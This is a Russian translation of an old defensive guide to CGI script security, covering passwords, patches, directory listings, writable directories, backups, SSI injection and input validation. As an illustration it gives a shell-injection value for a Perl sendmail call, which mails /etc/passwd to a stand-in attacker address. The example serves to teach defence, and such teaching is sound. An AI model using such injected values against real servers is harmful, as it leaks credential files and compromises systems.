Некоторые аспекты безопасности при написании и установке CGI-скриптов.

Превод с англ. и доработка текста: Oleg Prolubshikov
Автор: Selena Sol

Сценарии CGI несут в себе столько же опасности, сколько и пользы. Но это не говорит о том, что вы не должны ими пользоваться. На то и существует компьютерная безопасность, чтобы брать ситуацию в свои руки. Вы никогда не можете быть в полной безопасности, если предоставляете определенный сервис или какие-то услуги. Однако без последнего вы можете ровно столько же, сколько и без самого компьютера. Таким образом, защита становится важнее, в рамках приемлемого риска и с учетом возможного восстановления, после нарушения работы системы, чем полная недоступность. Это - ваша работа, удостовериться, что всех отрицательных аспектов, касающихся безопасности вашего web-сервера, значительно меньше чем положительных. Ниже обсуждаются фундаментальные концепции безопасности и защиты при установке и настройке уже написанных (pre-built) CGI сценариев. А так же даются отправные точки для поиска дальнейшей информации.

"Все данные мошеннические.
Всякую систему пытаются взломать.
Все клиенты - воры.
Технология - только моя первая строка защиты".

- унылый утренний перечень Администратора.

Минута соединения вашего компьютера с Internet - это минута, когда безопасность ваших данных подвергается риску. Даже наиболее безопасные системы, которые находятся под контролем наиболее образованных и способных, с большим опытом, системных администраторов, с использованием самого современного и проверенного програмного обеспечения, постоянно находятся в опасности, каждый день. Как было доказано Кевином Митником (Kevin Mitnick) при взломе San Diego Supercomputer Center в 1994 году, даже самые "закаленные" защиты, написанные ветеранами подобно Tsutomu Shimamura можно, обойти.

Весьма печальным фактом является то, что хакеры зачастую обладают некоторыми преимуществами. Время, постоянство, творческий потенциал, сложность программного обеспечения, окружение сервера и невежество рядового пользователя - их оружие. Администратор системы должен манипулировать множеством, постоянно изменяющихся, комплексно связанных аспектов безопасности в целом, в то время как хакерам требуется только терпеливо ждать, когда администратор ошибется. А ведь конечно, не надо забывать, что администратор - только человек и зачастую один.

Таким образом работа системного администратора не может состоять только из создания среды отлова хакеров и атак. Скорее администратор может надеятся на то что, формируемая система будет в достаточной степени отказо-устойчивой и защищенной от проникновения злоумышлиника.

Среда, защищенная от хакера - эта та среда, в которой сделано все настолько безопасно, насколько это возможно, а также создание таких условий, что в случае успешного проникновения злоумышлиника в систему, оно наносило минимум ущерба.

Таким образом, например, в минимальном случае, администратор системы должен резервировать все данные системы таким образом, чтобы, если данные были злонамеренно или случайно уничтожены или изменены, их можно было бы, с наибольшей степенью вероятности и целостности, восстановить.

Кстати сказать, не думайте, что, если вы официально не являетесь системным администратором, то все вышесказанное к вам не относится. Фактически, как только вы выполняете или используете CGI сценарий, вы становитесь разновидностью системного администратора. Например, создавая Web Site, оснащенный некоторым количеством CGI сценариев, вы получаете собственных пользователей, файлы данных, и соответственно все аспекты безопасности, связанные с ними.

Есть надежный и устоявшийся список предосторожностей для минимального уровня защиты:

• Удостоверьтесь, что пользователи понимают что такое "хороший" пароль, и что такое "плохой" пароль и чем они отличаютя. "Хорошие" пароли не могут быть найдены в словаре и как правило составляются из букв, цифр и символов. "Хорошие" пароли также регулярно меняются и не пишутся на клочках бумаги в настольных книгах.

• Удостоверьтесь, что права доступа к файлам (file permissions) установлены верно.

• Удостоверьтесь, что не пропустили очередной объявленной заплаты (patches) или исправлении бага (bug fixed). Например, можно подписаться на CERT или CIAC mailist (список рассылки), или регулярно посещать сайт, распростроняющий используемый вами код.

• Пытайтесь регулярно взломать ваш сайт самостоятельно. Изучите инструментальные средства хакеров (hack tools), ведь они используют против вас лучшие средства для несанкционированного доступа в вашу систему.

• Регулярно создавайте резервные копии.

• Создавайте и постоянно проверяйте, анализируйте регистрационные или log-файлы (log files) фашей системы.

Защита вашего web сервера - это серьезный вопрос, к которому вы должны подходить с особым вниманием и уделять этому достаточно времени. К сожалению, слишком много администраторов в сети, которые приходят к ошибочному мнению на основании высказывания типа "так как мой сайт не имеет высокой посещаемости в сети, то его 'ломать' никто не будет". В действительности же, как только ваш источник информации попадает в сеть (например Internet), в тот же момент значительное количесво хакеров, не имея на то особых оснований или причин, просто с целью нанести ущерб, осуществляет попытки взломать вашу систему. Как только хакер получает доступ к вашей системе, он может осуществлять действия различного рода.

Рассмотрим некоторые виды возможных действий:

• Ваша информация/данные/файлы будут удалены (уничтожены).

• Ваша информация/данные/файлы будут проданы вашему конкурену.

• Ваша информация/данные/файлы будут модифицированны или изменены, подобно как в случае с сайтами ЦРУ (CIA) и др.

• Хакер использует ваш сайт, чтобы предпринять ряд атак на другие сервера. Например он может использовать ваш сайт для атаки на сервер Белого Дома (White House Site) от вашего лица.

Защита и Web сервера.

Web сервер - это один из наиболее опасных сервисов предлагаемых в сети. По существу, сервер дает всей сети доступ к внутренней работе вашей файловой системы. Это уже огромный недостаток, так как програмное обеспечение сервера было ограничено временными границами (с конца 80х годов) для проверки и исследования на наличие в нем "дыр" и лазеек в системе безопасности. Таким образом сайты в сети базируются на чрезвычаино мощных програмных продуктах, которые были проверены на наличие ошибок только частично. Это было бы не так плохо, если бы сервера администрировались людьми, обладающими значительным опытом в безопасности и администрировании систем, а не графического оформления и дизайна сервера. Множество сайтов в сети созданы людьми, пределом знаний которых является html, а на чтение статей такого типа и изучение проблем безопасности у них просто нет времни.

Это не должно указывать пальцем на кого-либо. Не так уж много людей имеющих возможность, время или способности, чтобы заниматься защитой - это так и должно быть. Дело в том, что неправильные пароли, плохо написанные программы, общедоступные файлы и каталоги и т.д будут всегда частью проблемы.

CGI скрипты.

Пренебрегая тем фактом, что северы в сети изначально небезопасны, CGI скрипты ухудшают ситуацию, давая пользователям и хакерам возможность пользоваться особенностями CGI. CGI ценарии - это программы, находящиеся и выполняющиеся на сервере, кторые могут запускаться по запросу от web обозревателя (браузера, browser). Другими словами, CGI сценарии позволяют выполнять мощные программы на вашем сервере, которые, по всей вероятности, находятся на первой стадии своей разработки, составленные любителями и полные лазейками в безопасности.

Однако, так как число пользователей, требующих доступ к CGI сценариям, возросло, то некоторые администраторы стали налагать запрет на запись, установку и публикацию CGI сценариев всех типов.

Так что же должен делать web мастер и как пользовательские CGI сценарии могут помогать в обеспечении комплексной безопасности системы?

• CGI сценарий должен быть сделан настолько безопасным, насколько это возможно.

• Неизбежные попытки взлома CGI сценариев должны пресекаться.

Предпросмотр скриптов.

Само собой разумеется, что каждый сценарий, устанавливаемый на сервер должен быть изучен и просмотрен как можно большим числом квалифицированных людей. Лучшим вариантом будет отдать системному администратору копию вашего кода (до и после его модификации вами), а так же информацию откуда был взят код и другую возможную информацию, которая может быть полезна администратору. Не думайте о вашем системном администраторе как о параноидальном фашисте. Ведь он проделывает достаточно серьезную работу. Помогите облегчить создание более надежной среды, даже если у вас это отнимет чуть больше времени, чем обычно. Помимо этого, Вы должны читать код самостоятельно! И помните, что, любая часть кода, которую вы не понимаете, несет в себе опасность. Как заказчик, требуйте, чтобы авторы сценария коментировали его ясно и полностью.

Однако, стоит сказать, что дальнейшая ответственность за безопасность системы ложится на вас. Вы должны отслеживать выпуск очередных заплат (patches), исправления ошибок (bug fixes), и так называемых "security announcements". Зачастую эту информацию можно получить там, откуда был взят код. Как только информация подобного рода попадает к вам в руки, вы должны с максимально возможной оперативностью модифицировать вашу систему.

Тот факт, что эта информация доступна вам, говорит о том, что она доступна и хакерам, которые попытаются использовать ее с наибольшей выгодой для себя, а соответственно в ущерб вашей системе.

Дальнейшая поддержка и ответственность - это важный аспект для внештатных разработчиков CGI кода, которые написав сценарий и установив его на сервер, как правило, исчезают из поля зрения заказчика. Необходимо, чтобы ответственность за дальнейшее исправление ошибок, выпуск заплат и подобного рода деятельность ложилась на плечи автора, в противном случае последний должен оставлять клиенту информацию как и где можно получить очередную модификацию кода а также руководство по его установке. Либо же информацию о людях, которые уполномочены и имеют достаточную квалификацию для проведения подобного рода работ.

Написание безопасных CGI скриптов.

Хотя эта статья прежде всего обращает свое внимание на аспекты безопасности при установке и настройке уже написанных CGI скриптов, также нельзя оставить без внимания основные принципы написания безопасного кода. Ведь, в конце концов, часью работы по установке и настройке включаемого кода является и написание некоторого собственного кода.

Пожалуй, самый лучший источник информации по написанию безопасного CGI кода - это Lincoln Stein's WWW Security FAQ. Скажем так, что вы не должны браться за написание или установку CGI скриптов, если вы полностью не прочитали вышеупомямутый FAQ. Но, тем не менее, приведем некоторые особо важные моменты, на которые стоит обратить внимание при написании CGI скриптов.

Никогда, никогда не допускайте непроверенных данных, переданных удаленным пользователем командной оболочке.

На языке С команды popen() и system() включают в себя вызов подоболочки (subshell) /bin/sh чтобы обработать команду. В Perl это функции system(), exec(), и open(), а так же eval(), которые включают в себя непосредственно вызов интерпретатора языка (Perl). В различных оболочках такими полномочиями обладают функции типа exec и eval.

Обратные ковычки, доступные в интерпретаторах оболочек и Perl для фиксации вывода программ как текстовых строк, также представляют опасность.

Причину такого параноидального поведения можно проиллюстрировать на примере Perl-кода, который посылает адресату информацию введенную, например, пользователем в форму. Текст кода, по началу, кажется безобидным:

$mail_to = &get_name_from_input; # read the address from form
open (MAIL,"| /usr/lib/sendmail $mail_to");
print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
close MAIL;

Проблема заключается в том, что автор кода изначально предполягает, что пользователь введет в форму нужную информацию, т.е. e-mail адресата и переменная $mail_to будет содержать безопасную информацию. Но что произойдет если хитрый хакер введет в поле e-mail адреса следующую строку:

nobody@nowhere.com; mail 
  sbadguys@hell.org</etc/passwd;

Команда open() выполнит следующие команды:

/usr/lib/sendmail nobody@nowhere.com mail
  badguys@hell.org</etc/passwd

Таким образом файл /etc/passwd, содержащий пароли системы, будет выслан на e-mail хакера, который попытается использовать его для атаки вашей системы.

Другую информацию по CGI безопасности можно получить по адресу:

• NCSA Security

Защита от "Дурачка".

Вы когда-нибудь изучали web сервер в Internet, путем модификации его URL? К примеру, давайте взглянем на U.S. Census Page, которая находится по адресу http://cedr.lbl.gov/cdrom/doc/lookup_doc.html

Предположим, что мы заинтересованы в том, чтобы также и другие файлы находились в каталоге "/doc" (это могут быть документы, находящиеся в стадии разработки, или просто документы о которых забыли, или же документы, предназначеные для внутреннего пользования). Теперь просто удаляем часть строки, содержащую имя документа "lookup_doc.html". Останется "http://cedr.lbl.gov/cdrom/doc/". И наблюдаем, настроен ли их сервер на генерацию динамического списка.

В данном случае фокус удался и мы получаем сгенерированный сервером динамический индекс каталога "/doc", методом удаления части строки.

Таким образом мы можем видеть сгенерированный список всех файлов и подкаталогов. Фактически, множество серверов в сети сконфигурированы так, что если пользоватьель не указал конкретного имени документа, типа "index.html", то сервер выведет распечатку каталога очень похожую на эту. Все бы ничего, но если сервер настроен так, что можно аналогичным способом получить индекс каталога, где находятся cgi-скрипты, то последствия могут обернуться для системы очень плачевно:

Что вы думаете произойдет, когда пользователь нажмет на файл "auth.setup"? Так как web-сервер должен будет выполнить этот CGI скрипт, соответственно он должен будет также иметь разрешение на его чтение. Таким образом хакер получит содержимое вашего setup-файла в окне браузера. Как вы понимаете данный файл может содержать в себе различные ключи, пути, кофигурационные настройки - и это не единственные файлы несущие в себе компроментирующие данные. Другие файлы могут оказаться файлами паролей, временными файлами, файлами пользователей и другими файлами, которые могут дать хакеру информацию, позволяющую использовать вашу систему в его интересах.

Для предотвращения подобных ситуаций необходимо выполнять следущие правила:

• Конфигурируйте свой web-сервер так, чтобы он не генерировал динамических индексов, а выдавал сообщение об ошибке.

• Конфигурируйте свой web-сервер так, чтобы он не выполнял никаких файлов кроме *.cgi, и тех, который не находятся в каталоге /cgi-bin

• Предоставте серверу файл index.html, даже если он не несет в себе никакой информации. Таким образом если даже сервер некорректно сконфигурирован с точки зрения CGI безопасности, хакер не сможет воспользоваться данной лазейкой.

Существует еще один аспект безопасности, который вы должны учитывать при установке уже написанных, готовых CGI скриптов. Ведь любой другой человек может точно так же получить исходный код вашего скрипта тамже, где взяли его и вы. Таким образом он будет знать все по умолчанию установленные конфигурационные настройки, с которым поставляется код. Поэтому, если вы не измените заданные по умолчанию имена файлов и каталогов, хакер может обратится к файлу напрямую, даже если вы учли все предыдущие моменты.

Другими словами, если я знаю, что вы используете CGI крипт с правами на запись, кторый в свое время использует файл "users.dat" в каталоге "/ScriptA/Users", то я могу обратится к нему непосредственно следующим способом:

http://www.yourdomain.com/cgi-bin/ScriptA/Users/users.dat

Таким образом, как только вы сделали невозможным для хакера получить сгенерированный динамический список, изменили все по умолчанию заданные параметры, имена файлов и каталогов, тем самым вы усложнили жизнь хакеру и облегчили свою.

Каталоги с правами на запись.

Использование каталогов с правами записи, в значительной степени неизбежно. Любое комплексное, а соответственно сложное CGI приложение окажется перед необходимостью записи в файловую систему. Примерами записи являются файлы паролей зарегистрировавшихся пользователей, генерация ключей, ведение log-файлов, временных файлов и т.д.

Проблема состоит из двух моментов. Первый заключается в том, что если пользователю даются права на запись, то он соответственно получает права на удаление. Таким образом, права на запись и на удаление оказываются в одних руках. Поэтому в терминах безопасности сервера они считаются равными. Вторым моментом является, то что хакер может использовать записываемую часть /cgi-bin каталога, чтобы добавить свой собственный CGI-скрипт. Особенную опасность это представляет для многопользовательских серверов типа тех, которые используют обычные провайдеры (ISP, [Internet Service Provider] поставщик услуг Internet (коммерческая фирма, предоставляющая индивидуальным пользователям доступ к службам сети Internet)). Хакеру требуется всего-лишь получить свой собственный, легальный account у тогоже ISP (провайдера), чтобы использовать или найти лазейку в системе безопасности. Для этого ему придется оплатить где-нибудь минут 20 легального доступа в Internet.

Ксати сказать, эта тактика получения account'а на сервере провайдера в особенности привлекает людей, вечно сующих нос в чужие дела - снуперов (от англ. snoop - "человек, вечно сующий нос в чужие дела" или в качестве глагола "шпионить", "выслеживать"). Если хакер может получить на вашем сервере account, то в вашем арсенале не так уж много способов, не позволить ему взять ваш каталог /cgi-bin и начать его исследовать, ввиду общедоступности сервера.

Главным образом, решение этой проблемы является следующее правило. Никогда не храните каталоги и файлы с правами на запись в каталоге /cgi-bin. Все подобные файлы должны быть сохранены в каталогах типа тех, в которых вы храните ваши html документы или в каталогах типа /tmp, т.е. в тех, которые несут в себе наименьшую опасность. Тем самым у хакера конечно остается возможность удалять ваши файлы, но он уже не сможет выполнить свой CGI-скрипт.

Таким образом вы должны не только изменять названия всех файлов и сценариев CGI, но также распологать их в наиболее безопасных местах вашего сервера. Если CGI приложение написано хорошо, то вам не придется копаться в коде и менять все имена файлов и каталогов. Информация подобного рода должна хранится в файле установки CGI приложения.

Также необходимо, чтобы вы защищали все файлы от записи, если в настоящее время он не находится в стадии разработки или редактирования. Другими словами, если вы не редактируете html-файл, то права доступа к нему должны быть установлены только на чтение. Также если вы постоянно не изменяете CGI-скрипт, то права доступа должны быть только на чтение и выполнение, но ни в коем случае не на запись. Короче говоря никогда не предоставляйте любому файлу на вашем сервере права на запись, если он непосредственно не изменяется или не редактируется.

В заключение хочется добавить - всегда создавайте резервные копии ваших файлов. Ожидайте и готовьтесь к самому худшему. Если вы работаете на платформе UNIX, то можете воспользоваться командой tar:

tar cvfp name.tar rootdirectoryname

причем желательно, чтобы вы это делали не реже чем один раз в несколько дней.

Затем вы должны переместить этот файл на машину которая не имеет выхода в сеть или на место, которое имеет наименьшие права доступа типа:

chmod 400

Пользователи платформы Windows могут пользоваться, к примеру, программой WinZip для создания архивов.

Пользовательский ввод.

"Любой ввод со стороны пользователя постоянно подвергается попыткам атаки." Выучите эти слова и повторяйте их сами себе каждый день. От вас требуется анализировать любую информацию и данные, передаваемые CGI-скрипту от пользователя. Хакер может с легкостью испытывать ваше CGI-приложение на выполнение команд, которые могут скомпроментировать систему.

Стоит добавить, что если на сервере включена поддержка SSI, то если CGI-скрипт позволяет ввести пользователю текст, кторый потом будет интерпетироваться браузером пользователя, что происходит в приложениях типа гостевой книги (GuestBook), то хакер может легко ввести SSI-команды, которые браузер успешно выпольнит. Это достаточно часто всречающаяся ошибка в приложениях подобного рода.

Решение этой проблемы сводится к тому, чтобы фильтровать все данные, передаваемые пользователем и удалять любое вхождение SSI-кода. Как правило, это строки типа "<!" , "<-". Лучшим вариантом конечно будет отключить выполнение команд SSI, особенно в сочетании с CGI, т.к. в комплексе они составляют двойную опасность.

Другое, что хотелось бы сказать в заключение, что хакер может и не воспользоваться браузером, а получать и отправлять http-трафик своей программой, что дает ему возможность изменять количество полей формы ввода, просматривать информацию в полях hidden-типа (скрытых полях), которые используются для ввода паролей. Таким образом хакер может передать CGI-сценарию лишнее поле, что может повлиять на устойчивось системы. Поэтому подобного рода данные тоже нужно ограничивать и проверять.

Ну и в заключение хочется повторить те слова, которые были сказаны в качестве эпиграфа:

CGI-сценарии несут в себе столько же опасности, сколько и пользы. Но это не говорит о том, что вы не должны ими пользоваться. На то и существует компьютерная безопасность, чтобы брать ситуацию в свои руки. Вы никогда не можете быть в полной безопасности, если предоставляете определенный сервис или какие-то услуги. Однако без последнего вы можете ровно столько же, сколько и без самого компьютера. Таким образом, защита становится важнее, в рамках приемлемого риска и с учетом возможного восстановления, после нарушения работы системы, чем полная недоступность. Это - ваша работа, удостовериться, что всех отрицательных аспектов, касающихся безопасности вашего web-сервера, значительно меньше чем положительных.